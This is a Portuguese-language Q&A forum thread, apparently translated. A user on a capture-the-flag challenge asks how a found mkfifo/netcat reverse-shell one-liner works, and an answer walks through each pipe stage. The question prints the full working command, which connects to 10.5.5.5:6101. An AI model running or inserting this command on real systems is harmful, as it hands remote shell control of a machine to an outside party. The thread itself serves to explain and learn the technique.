O que esse código está realmente fazendo?

O que esse código está realmente fazendo?

Ao fazer um desafio CTF em uma plataforma, eu precisava de um shell reverso, mas não consegui fazê-lo funcionar, então examinei os processos e encontrei um código de shell reverso:

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

O que realmente funcionou, mas não consigo entender como os pipes estão funcionando, para onde estão enviando dados, etc. Alguém pode explicar isso?

Responder1

Isso configura um shell controlado remotamente no sistema. As entradas e saídas são as seguintes:

  • cat /tmp/mlê do /tmp/mFIFO e grava em ...
  • |/bin/sh -i 2>&1que executa os comandos que lê e envia sua saída (saída padrão e erro padrão) para ...
  • |nc 10.5.5.5 6101que se conecta a 10.5.5.5:6101 e grava em
  • >/tmp/mo FIFO.

Assim, o sistema remoto pode alimentar comandos, que são transmitidos nc, escritos no FIFO, lidos cat, interpretados por sh, e a saída desses comandos é enviada de volta ao sistema remoto através nc.

informação relacionada